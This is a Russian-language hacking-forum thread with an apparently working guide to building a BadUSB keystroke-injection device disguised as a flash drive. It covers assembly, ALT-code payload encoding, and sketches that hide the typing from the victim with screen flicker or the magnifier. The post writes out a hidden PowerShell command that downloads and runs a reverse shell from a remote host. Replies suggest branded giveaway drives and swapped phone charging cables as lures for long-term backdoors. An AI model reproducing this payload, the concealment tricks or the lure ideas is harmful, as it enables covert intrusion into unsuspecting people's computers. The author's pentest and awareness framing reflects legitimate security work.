ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Электроника и Фрикинг (https://forum.antichat.xyz/forumdisplay.php?f=21)
-   -   Собери себе BadUsb, не хуже, чем Rubber Ducky от Hak5 (https://forum.antichat.xyz/showthread.php?t=574984)

BearSec 10.09.2020 04:47

Всем привет!

Представляю вашему вниманию статью из разряда “очумелые ручки”.
С помощью [S]пластиковых бутылок[/S] платы с микроконтроллером Atmega32u4и паяльника сделаем BadUSB.

Вот ссылки на статьи об устройстве BadUSB на нашем форуме, при разработке я их активно использовал и перерабатывал под свои нужды. Всем авторам и комментаторам спасибо.

Digispark - badusb за 1$

Хочу рассказать о младшем (возможно даже отсталом и ущербном) брате Rubber Ducky - DigiSpark.

codeby.net


Bad USB на ATtiny 85

Всем привет. Представляю вам Bad USB на ATtiny 85. Разработчик -== Yukinoshita47/megumi-san-bad-usb Проект USB BAD или более известный как Ducky Rubber USB. Megumum usb bad - это проект, ориентированный на аппаратное хакерство от Garuda Security Hackers. Оборудование может быть...

codeby.net


Bad Usb или как я уток разводил, Практическое пособие по Rubber Duck

Дали им звучное имя Rubber Duck. Как Вы догадались, эта порода уток ни что иное, как Bad Usb.

codeby.net


Учим BadUSB работать с разными раскладками клавиатуры

Заглавие Всем доброго времени суток, о BadUsb, Usb Rubber Ducky и о том, как самому сделать аналог данного устройства написано уже много статей. В этой же статье мы рассмотрим решение проблемы BadUsb при работе с разными раскладками клавиатуры. В качестве инструкции по созданию своего BadUsb...

codeby.net


Введение
Да, возможно, кого-то тема BadUSB уже подзадолбала, но я давно хотел смастерить девайс, реально похожий на флешку и не стоящий 50 баксов, как оригинальное устройство от Hak5.

https://forum.antichat.xyz/attachmen...9690815423.png

(Оригинальное устройство от Hak5)
На выходе мы получим аккуратное устройство, похожее на флешку, имеющее на борту достаточно памяти, чтобы набрать shell-код с помощью ALT-кодов.
Короче говоря - дешево, красиво, эффективно (ну, насколько это может позволить BadUSB).

https://forum.antichat.xyz/attachmen...9690913410.png

(Вот такое устройство у нас получится)
Себестоимость нашего устройства выйдет долларов в 6-7 без доставки компонентов и без стоимости оборудования.

Подготовка
Необходимые инструменты:
  • Ножницы по металлу (они позволят нам меньше работать напильником);
  • Напильник;
  • Паяльник, флюс, припой;
  • Спирт (отмывать плату от флюса, не употреблять внутрь);
  • Руки (если руки золотые, то неважно, откуда они растут)
Необходимые компоненты:
  • Плата с микроконтроллером Atmega32u4;
  • Флешка, которую мы распотрошим и будем использовать от неё корпус;
  • USB Type-A разъём, чтобы устройство выглядело убедительно и была похожа на настоящую (я рекомендую разъемы с небольшими хвостиками, а не под пайку проводов).

Итак, использовать в своем [S]рукоблудстве[/S] [S]рукожопстве[/S] проекте я буду плату, которую на просторах алиэкспресса называют Mini SS Micro.

Плата имеет интересный форм-фактор, маленький размер и на борту распаян микроконтроллер Atmega32U4.

Почему для устройства я выбрал плату Mini SS Micro:
  • Она дешёвая и на ней установлен микроконтроллер, позволяющий эмулировать клавиатуру;
  • В ней в 4,5 раза больше памяти, чем в Digispark(28 Кб ATmega32u4против 6 Кб Attiny85(значения после вычета загрузчика));
  • Размер платы (длина 30-мм , ширина 20-мм, плюс эти размеры можно ещё уменьшить), если подработать напильником - влезет в стандартный корпус флешки;
  • Именно из-за размеров я не выбрал плату Arduino Pro Micro, у неё длина 35-мм и уменьшить этот размер нет никакой возможности;
  • Разъем формата USB Type-A, (удобнее паять, чем Micro usb).
Далее приведу размеры внутреннего пространства выбранного типа флешки:
  • Ширина - 16.44 мм;
  • Длина до стоек - 27,1 мм;
  • Длина до начала закругления - 32.4 мм.
https://forum.antichat.xyz/attachmen...9699086282.png

(Богатый внутренний мир донорской флешки)
Заканчиваем с описанием и начинаем работать руками, а потом головой.

Собираем устройство
Берём плату и ножницы по металлу и первыми делом с отрезаем боковые части в области отверстий под пайку.
Далее аккуратно шлифуем напильником с двух сторон, до момента, пока плата не влезет во флешку.

К сожалению, я нигде не смог найти в интернете схему этой чудо-платы, чтобы точно сказать, до какого места можно шлифовать.
Однако, когда я делал своё устройство, то я старался ориентироваться на шелкографию отверстий под пайку, оставляя нетронутой часть, как показано на изображении ниже.

https://forum.antichat.xyz/attachmen...9693487228.png

(Красным отмечены линии реза и последующей шлифовки)
Следующим шагом отрезаем переднюю часть платы, чтобы дорожки для подключения платы к USB были ровные и их было удобнее паять к разъему USB Type-A (не понимаю, почему китайцы их сделали разными)

Теперь достаём паяльник, флюс и начинаем паять (я использовал глицин и какой-то китайский припой).
Примеряем внешний разъем USB Type-A к нашей плате, совсем чуть-чуть лудим контакты на плате и контакты на разъеме.
Далее накладываем их друг на друга и припаиваем, получается аккуратно и относительно крепко.

(Для желающих погрузиться в сферу пайки крайне рекомендую вот эту серию видео, но вообще на просторах интернета полно информации про пайку, главное в этом деле больше практики)


https://forum.antichat.xyz/attachmen...9694028802.png

(Плата после пайки с флюсом выглядит крайне не привлекательно)
Не забываем отмыть флюс! Да, глицин ,вроде, не вызывает сильной коррозии на контактах и не коротит, но выглядит плата неаккуратно, и почистить плату лишним никогда не будет.


https://forum.antichat.xyz/attachmen...9694286787.png

(Плата выглядит уже лучше)
Далее, можем примерить получившееся устройство в корпус от флешки, и, если всё устраивает, то я рекомендую посадить плату в корпус флешки на клей (я посадил на [S]горячие сопли[/S] термоклей и он держит отлично).

Программируем наше устройство
Так получилось, что пока комплектующие добирались до меня, участник форума (elrock) успел меня опередить и написать статью об использовании ALT-кодов для ввода команд латиницей при любой раскладке клавиатуры.
Поэтому особо не буду вдаваться в подробности работы контроллера с ALT кодами, ссылка на статью указана в начале поста (Учим BadUSB работать с разными раскладками клавиатуры).

Я же для себя подготовил простой скрипт на Python, который сначала переводит символы из строки в код символа, согласно ASCII таблице. Далее код каждого символа преобразуется в последовательность нажатий клавиш на NumPad при нажатой кнопке ALT.


https://forum.antichat.xyz/attachmen...9694662328.png

(Дружелюбный интерфейс скрипта)
Команды можно вводить последовательно, главное - после ввода всех команд нажать CTRL+C, чтобы скрипт корректно сохранил код нашей функции в файл payload.txt

После подготовки кода "полезной нагрузки" нам остаётся его скопировать из файла payload.txt и вставить в наш скетч.

Я долго размышлял над вариантами отвлечения внимания пользователя компьютера во время набора команд.
В своё время были мысли сделать скетч, который куртил-вертел изображения экрана с помощью горячих клавиш WIndows, но эту фишку убрали.

Однако я нашёл ещё один вариант: с помощью комбинации клавиш WIN+CTRL+SHIFT+B мы можем перезагрузить видеодрайвер, экран погаснет секунды на 2, но возможность вводить текст с клавиатуры в это время не будет заблокировано. Поэтому я подготовил 4 варианта скетча:

1. Первый скетч - «Привет, эпилептик!».
Через каждые 15 символов ввода мы будем перезагружать видеодрайвер, и экран будет «весело» моргать.
После ввода «полезной нагрузки» устройство блокируем комп.
Да, это не очень сильно осложнит восприятие ввода команды, будет крайне подозрительно, но оставим и такой вариант. Вдруг у пользователя частота моргания глаз войдёт в резонанс с частотой моргания экрана, тогда он точно ничего не увидит


https://forum.antichat.xyz/attachmen...9695247635.png

(Если не получим доступ к компьютеру, то хотя бы вызовем у жертвы мигрень!)
2. Второй скетч - «Чешский крот».
Перед началом выполнения «полезной нагрузки» мы с помощью горячих клавиш Windows 10 включаем экранную лупу и максимально приближаем изображение.
При вводе текста нашим устройством лупа переместится к экрану ввода, но увидеть можно будет только часть окна.
После завершения ввода мы отключаем экранную лупу и блокируем комп.


https://forum.antichat.xyz/attachmen...9695382145.png

(Плохо видно, можно покрупнее???)
3. Третий скетч является комбинацией первого и второго скетча, он получит кодовое название «Крот-эпилептик».
Как понятно из названия, мы включаем экранную лупу, и через каждые 15 символов ввода мы будем перезагружать видеодрайвер для моргания экраном.
После завершения ввода команды - выключаем экранную лупу и блокируем комп.


https://forum.antichat.xyz/attachmen...9695520566.png

(Выглядит уже интереснее)
4. Скетч “Блиц-скорость без границ”. В этом варианте наше устройство будет просто быстро набирает команду, а потом заблокирует комп. Скучно, но работает.


https://forum.antichat.xyz/attachmen...9695620514.png

(Может, кто-то будет очень долго моргать и не заметит?)
Все приложенные скрипты это - один и тот же скрипт, в котором присутствуют или отсутствуют комментарии некоторых строк кода и изменены тайминги задержек.
Также в коде, в разделе setup(), есть 2 закомментированные строки. Они отвечают за нажатие кнопки NumLock и повторное выполнение кода.
Существует вероятность, что NumLock будет отключен, и тогда все наши ALT-коды не сработают, поэтому можно продублировать выполнение кода после включения NumLock.
Для себя я эти строки закомментировал, но вы можете их раскомментировать.

(прикреплен в конце этого поста)

Переходим к демонстрации
В качестве демонстрации я записал короткие видеоролики, на них показаны 2 виртуальные машины. Одна - с Win 10, другая - с Kali Linux.
На Kali у нас запущен listener на порту 7997 и веб-сервер, на котором лежит текстовый файл, который содержит в себе reverse shell, написанный на PowerShell.

В качестве «полезной нагрузки» для нашего устройства мы будем использовать следующую команду:

Код:


Код:

powershell -NoProfile -WindowStyle Hidden -c "IEX((new-object system.net.webclient).downloadstring('http://172.16.0.11/1.txt'))"
Демонстрации подготовки «полезной нагрузки» и прошивки устройства

Демонстрации применения готового устройства, виртуальная машина немного лагала, на живой системе всё отрабатывает быстрее.

Оригинальноя Rubber Ducky от Hak5 используется свой синтаксис , но, при желании и небольшом старании, в нём можно быстро разобраться и переписать готовые скрипты для уточки в формат выполнения кода под наше устройство.
Payloads оригинальной уточки можно найти тут.

Заключение
Я доволен результатом, готовое устройство мне нравится, выглядит хорошо, визуально не отличается от флешки.
Параноиков, вскрывающих флешки перед их использованием, я никогда не встречал, поэтому это может быть интересный и относительно дешевый инструмент для пентестов или использоваться для аудита осведомленности сотрудников (об этом я расскажу в следующей статье).

На просторах алиэкспресcа мной также были найдены альтернативные варианты BadUSB:

Но, будем честны друг с другом, BadUSB имеет минусы, и не маленькие. Главный минус заключается в том, что любое нажатие на обычной клавиатуре, во время ввода команды устройством, с 95% вероятностью сломает "полезную нагрузку", и мы останемся [S]с дырявым ведром[/S] у разбитого корыта.

Всем дочитавшим до конца спасибо за внимание!

P.S. Изначально, работая над этим проектом, я хотел использовать DigiSparkс Attyny85, но всё упёрлось в недостаток памяти на микроконтроллере.

euteracot 15.09.2020 15:21

Отличная статья

stephanie887 15.09.2020 18:30

Спасибо за проделанную работу! Статья действительно получилась отличной.
Если бы не вы, то пришлось бы мне все это дело запихивать в здоровенный вай-фай адаптер

https://forum.antichat.xyz/attachmen...0e27a6b94c.png

endry 15.09.2020 18:43

на мой взгляд проще себе сразу заказать Badusb жук плохого USB-ATMEGA 32U4 макетная плата виртуальная клавиатура для Arduino | eBay, чем что-то разбирать и паять.

BearSec 15.09.2020 18:55

Цитата:


stephanie887 сказал(а):

Спасибо за проделанную работу! Статья действительно получилась отличной.
Если бы не вы, то пришлось бы мне все это дело запихивать в здоровенный вай-фай адаптер

Да, я тоже ковырялся с кучей разных форм-факторов плат, но этот в итоге остановился на Mini SS Micro.
А первоначально были мысли использоваться полно-размерные arduino pro micro и маскироваться под внешний жесткий диск

Цитата:


Endry сказал(а):

на мой взгляд проще себе сразу заказать Badusb жук плохого USB-ATMEGA 32U4 макетная плата виртуальная клавиатура для Arduino | eBay, чем что-то разбирать и паять.


До момента написания статьи эти устройства попадались мне на просторах алиэкспреса и стоили с доставкой около 1к рублей. Теперь у меня вся лента ими заполнена за уже более вменяемые деньги.

Так что да, под массовую закупку возможно имеет смысл брать сразу готовые устройства.
С другой стороны тот вид флешек, что я предлагаю использоваться в качестве кейса для устройства, очень часто брендируют (гравируют или наклеивают названия компаний) и раздают на разных мероприятиях.
Этим тоже можно воспользоваться.

v1gman 15.09.2020 20:39

Хорошая статья, дружище!

Ondrik8 08.10.2020 19:57

Зачет) я бы добавил еще как сделать из шнура от зарядки для телефона ) сей продукт. Мысль: подменил шнурок от зарядки и у тебя стабильный бэкдор, минимум на несколько месяцев)) просто есть любители запитывать свою трубку от рабочего, домашнего компа )

проект кстати лежит на гитхабе!)

Remir 08.10.2020 21:25

Отличный вариант, молодец! Чисто русский подход к делу. Лично я в таких случаях испытываю гордость за нацию.
Цитата:


Bearsec сказал(а):

Итак, использовать в своем [S]рукоблудстве[/S] [S]рукожопстве[/S] проекте


Полно-те, брателла! Не ошибается только тот, кто ни шиша не делает!
Цитата:


Bearsec сказал(а):

Да, глицин ,вроде, не вызывает сильной коррозии на контактах и не коротит, но выглядит плата


А я предпочитаю для микропайки паяльный жир. Пайка отлично ложится даже на окисленные поверхности, а остатки жира легко удаляются. Попробуй.
Цитата:


Bearsec сказал(а):

я рекомендую посадить плату в корпус флешки на клей (я посадил на [S]горячие сопли[/S] термоклей и он держит отлично).


Если делать "раз и навсегда", то можно использовать эпоксидку. Дешево и сердито. К тому же потом даже молотком не разбить, держит высокие температуры и ток не проводит.

BearSec 08.10.2020 22:06

Цитата:


Ondrik8 сказал(а):

Зачет) я бы добавил еще как сделать из шнура от зарядки для телефона ) сей продукт. Мысль: подменил шнурок от зарядки и у тебя стабильный бэкдор, минимум на несколько месяцев)) просто есть любители запитывать свою трубку от рабочего, домашнего компа )

проект кстати лежит на гитхабе!)


Спасибо за отзыв! Видел такой кабель O.MG Cable
устройство прям самый сок, на youtube они показывали как оно собирается и программируется.
а главное размеры usb вилки 1 в 1 как у оригинальных проводов.

Я пока только мечтать могу о подобном устройстве своими руками

Цитата:


Remir сказал(а):

Отличный вариант, молодец! Чисто русский подход к делу. Лично я в таких случаях испытываю гордость за нацию.

Полно-те, брателла! Не ошибается только тот, кто ни шиша не делает!

А я предпочитаю для микропайки паяльный жир. Пайка отлично ложится даже на окисленные поверхности, а остатки жира легко удаляются. Попробуй.

Если делать "раз и навсегда", то можно использовать эпоксидку. Дешево и сердито. К тому же потом даже молотком не разбить, держит высокие температуры и ток не проводит.


Так же благодарю за отзыв. Про паяльный жир где-то слышал, но сам не пробовал. Возьму на заметку.

По поводу эпоксидки хороший вариан, ппосле всех отладочных мероприятий можноззалить и забыть. Единственный вопрос,который пришёл в голову, а как микроконтроллер будет себя чувствовать под эпоксидкой. Не будет ли сильно нагреваться?

Ondrik8 09.10.2020 14:32

ДА... цена конечно у них завышена, спору нет.

прошу обратить вас свой взор на этот, не скромный проект!)

вроде как дешевле и не хуже)

USBNinjaRRG/USBNinjaProfessional

+ BONUS

michalmonday/supremeDuck

whid-injector/WHID

SpacehuhnTech/WiFiDuck


Время: 07:14